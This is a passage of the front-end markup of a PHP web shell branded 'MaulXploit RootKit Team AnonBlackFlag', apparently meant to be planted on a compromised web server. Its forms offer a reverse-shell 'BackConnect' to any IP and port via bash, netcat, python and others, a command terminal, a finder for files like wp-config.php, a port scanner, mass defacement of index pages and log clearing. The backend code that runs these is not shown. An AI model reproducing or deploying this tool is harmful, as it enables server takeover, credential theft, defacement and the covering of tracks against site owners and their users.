<a href="#" onclick="document.getElementById('rnInput').value='<?= $f ?>';document.getElementById('rnModal').classList.add('show');return false;" title="Rename"><i class="fas fa-pen"></i></a>
<a href="#" onclick="document.getElementById('chInput').value='<?= $f ?>';document.getElementById('chModal').classList.add('show');return false;" title="Chmod"><i class="fas fa-shield-alt"></i></a>
<a href="?dir=<?= urlencode($dir) ?>&del=<?= urlencode($f) ?>" class="del" onclick="return confirm('Delete <?= $f ?>?')"><i class="fas fa-trash"></i></a>
</td>
</tr>
<?php endforeach; ?>
</table>
</div>
</div>
<!-- ===== FOOTER ===== -->
<div class="footer">
<i class="fas fa-skull"></i> MaulXploit RootKit Team AnonBlackFlag v6.0 •
<a href="#" onclick="document.getElementById('termModal').classList.add('show');return false;">Terminal</a> •
<a href="?clear_log=1" onclick="return confirm('Clear all logs?')">Clear Log</a>
</div>
<!-- ===== MODALS ===== -->
<!-- Rename -->
<div class="modal" id="rnModal">
<div class="modal-box">
<span class="close" onclick="document.getElementById('rnModal').classList.remove('show')">×</span>
<h3><i class="fas fa-pen"></i> Rename</h3>
<form method="post">
<input type="text" id="rnInput" name="newname" placeholder="New name">
<input type="hidden" name="rename" value="1">
<button type="submit" class="btn btn-primary" style="width:100%;"><i class="fas fa-check"></i> Rename</button>
</form>
</div>
</div>
<!-- Chmod -->
<div class="modal" id="chModal">
<div class="modal-box">
<span class="close" onclick="document.getElementById('chModal').classList.remove('show')">×</span>
<h3><i class="fas fa-shield-alt"></i> Chmod</h3>
<form method="post">
<input type="text" id="chInput" name="mode" placeholder="0755">
<input type="hidden" name="chmod" value="1">
<button type="submit" class="btn btn-primary" style="width:100%;"><i class="fas fa-check"></i> Apply</button>
</form>
</div>
</div>
<!-- BackConnect -->
<div class="modal" id="bcModal">
<div class="modal-box">
<span class="close" onclick="document.getElementById('bcModal').classList.remove('show')">×</span>
<h3><i class="fas fa-plug"></i> BackConnect</h3>
<form method="post">
<input type="text" name="bc_ip" placeholder="IP Address">
<input type="text" name="bc_port" placeholder="Port">
<select name="bc_type">
<option value="bash">Bash</option>
<option value="php">PHP</option>
<option value="nc">Netcat</option>
<option value="python">Python</option>
<option value="perl">Perl</option>
<option value="ruby">Ruby</option>
</select>
<button type="submit" name="bc" class="btn btn-primary" style="width:100%;"><i class="fas fa-play"></i> Connect</button>
</form>
<?php if(isset($bc_out)): ?>
<div class="output"><?= htmlspecialchars($bc_out) ?></div>
<?php endif; ?>
</div>
</div>
<!-- Finder -->
<div class="modal" id="finderModal">
<div class="modal-box">
<span class="close" onclick="document.getElementById('finderModal').classList.remove('show')">×</span>
<h3><i class="fas fa-search"></i> File Finder</h3>
<form method="post">
<input type="text" name="find_file" placeholder="File name (e.g. wp-config.php)">
<input type="text" name="find_path" placeholder="Start path (default: /)" value="/">
<button type="submit" name="finder" class="btn btn-primary" style="width:100%;"><i class="fas fa-search"></i> Find</button>
</form>
<?php if(isset($find_out)): ?>
<div class="output"><?= htmlspecialchars($find_out) ?></div>
<?php endif; ?>
</div>
</div>
<!-- Port Scan -->
<div class="modal" id="psModal">
<div class="modal-box">
<span class="close" onclick="document.getElementById('psModal').classList.remove('show')">×</span>
<h3><i class="fas fa-network-wired"></i> Port Scanner</h3>
<form method="post">
<input type="text" name="ps_ip" placeholder="Target IP">
<input type="text" name="ps_ports" placeholder="Ports: 21,22,80,443">
<button type="submit" name="portscan" class="btn btn-primary" style="width:100%;"><i class="fas fa-scan"></i> Scan</button>
</form>
<?php if(isset($ps_out)): ?>
<div class="output"><?= htmlspecialchars($ps_out) ?></div>
<?php endif; ?>
</div>
</div>
<!-- Check Shell -->
<div class="modal" id="checkModal">
<div class="modal-box">
<span class="close" onclick="document.getElementById('checkModal').classList.remove('show')">×</span>
<h3><i class="fas fa-shield-alt"></i> Auto Check Shell</h3>
<p style="color:var(--text2);font-size:11px;margin-bottom:10px;">Scan for suspicious PHP files containing eval, system, base64_decode, etc.</p>
<form method="post">
<input type="text" name="check_path" placeholder="Path to scan (default: /)" value="/">
<button type="submit" name="check_shell" class="btn btn-primary" style="width:100%;"><i class="fas fa-shield-alt"></i> Scan Now</button>
</form>
<?php if(isset($check_out)): ?>
<div class="output"><?= htmlspecialchars($check_out) ?></div>
<?php endif; ?>
</div>
</div>
<!-- Mass Deface -->
<div class="modal" id="defaceModal">
<div class="modal-box">
<span class="close" onclick="document.getElementById('defaceModal').classList.remove('show')">×</span>
<h3><i class="fas fa-skull"></i> Mass Deface</h3>
<p style="color:var(--text2);font-size:11px;margin-bottom:10px;">Overwrite index/default/home files with your content.</p>
<form method="post">
<input type="text" name="deface_path" placeholder="Path to scan (default: /)" value="/">
<input type="text" name="deface_ext" placeholder="File extension (html/php/asp)" value="html">
<textarea name="deface_content" placeholder="Your deface content" style="min-height:100px;"><h1>Hacked by MaulXploit</h1><p>AnonBlackFlag</p></textarea>
<button type="submit" name="mass_deface" class="btn btn-danger" style="width:100%;"><i class="fas fa-skull"></i> DEFACE NOW</button>
</form>
<?php if(isset($deface_out)): ?>
<div class="output"><?= htmlspecialchars($deface_out) ?></div>
<?php endif; ?>
</div>
</div>
<!-- Network Info -->
<div class="modal" id="netModal">
<div class="modal-box">
<span class="close" onclick="document.getElementById('netModal').classList.remove('show')">×</span>
<h3><i class="fas fa-wifi"></i> Network Information</h3>
<form method="post">
<button type="submit" name="netinfo" class="btn btn-primary" style="width:100%;"><i class="fas fa-sync"></i> Refresh</button>
</form>
<?php if(isset($net_out)): ?>
<div class="output"><?= htmlspecialchars($net_out) ?></div>
<?php endif; ?>
</div>
</div>
<!-- Process List -->
<div class="modal" id="pslistModal">
<div class="modal-box">
<span class="close" onclick="document.getElementById('pslistModal').classList.remove('show')">×</span>
<h3><i class="fas fa-tasks"></i> Process List</h3>
<form method="post">
<button type="submit" name="pslist" class="btn btn-primary" style="width:100%;"><i class="fas fa-sync"></i> Refresh</button>
</form>
<?php if(isset($ps_out)): ?>
<div class="output"><?= htmlspecialchars($ps_out) ?></div>
<?php endif; ?>
</div>
</div>
<!-- Logs -->
<div class="modal" id="logModal">
<div class="modal-box">
<span class="close" onclick="document.getElementById('logModal').classList.remove('show')">×</span>
<h3><i class="fas fa-history"></i> Activity Log</h3>
<?php
$log_content = @file_get_contents($log_file);
if($log_content):
?>
<div class="output" style="max-height:300px;"><?= htmlspecialchars($log_content) ?></div>
<?php else: ?>
<p style="color:var(--text3);">No logs yet.</p>
<?php endif; ?>
<div style="margin-top:10px;display:flex;gap:8px;">
<a href="?clear_log=1" class="btn btn-danger" style="flex:1;text-align:center;" onclick="return confirm('Clear all logs?')"><i class="fas fa-trash"></i> Clear</a>
<button class="btn" style="flex:1;" onclick="document.getElementById('logModal').classList.remove('show')">Close</button>
</div>
</div>
</div>
<!-- ===== CODE EDITOR ===== -->
<?php if(isset($_GET['edit']) && !isset($_POST['save'])):
$editFile = $_GET['edit'];
$content = @file_get_contents($dir.'/'.$editFile);
?>
<div class="editor show" id="editorModal">
<div class="editor-box">
<h3><i class="fas fa-code"></i> Editing: <?= $editFile ?> <span class="close" onclick="document.getElementById('editorModal').classList.remove('show')" style="float:right;cursor:pointer;color:var(--text3);font-size:22px;">×</span></h3>
<form method="post">
<textarea name="code"><?= htmlspecialchars($content) ?></textarea>
<div class="flex">
<button type="submit" name="save" class="btn btn-primary"><i class="fas fa-save"></i> Save</button>
<button type="button" class="btn" onclick="document.getElementById('editorModal').classList.remove('show')">Cancel</button>
</div>
</form>
</div>
</div>
<?php endif; ?>
<!-- ===== TERMINAL ===== -->
<div class="term" id="termModal">
<div class="term-box">
<h3><i class="fas fa-terminal"></i> Terminal <span class="close" onclick="document.getElementById('termModal').classList.remove('show')" style="float:right;cursor:pointer;color:var(--text3);font-size:22px;">×</span></h3>
<textarea readonly id="termOut"><?= isset($out) ? htmlspecialchars($out) : '' ?></textarea>
<form method="post" class="flex">
<input type="text" name="cmd" placeholder="<?= ($whoami?:get_current_user()).'@'.($_SERVER['SERVER_ADDR']??'localhost').' $ ' ?>" autofocus>
<button type="submit" class="btn btn-primary"><i class="fas fa-play"></i> Run</button>
</form>
</div>
</div>
<script>
document.addEventListener('DOMContentLoaded', function(){
document.querySelectorAll('.modal, .editor, .term').forEach(function(el){
el.addEventListener('click', function(e){
if(e.target === this) this.classList.remove('show');
});
});
});
</script>
</body>
</html>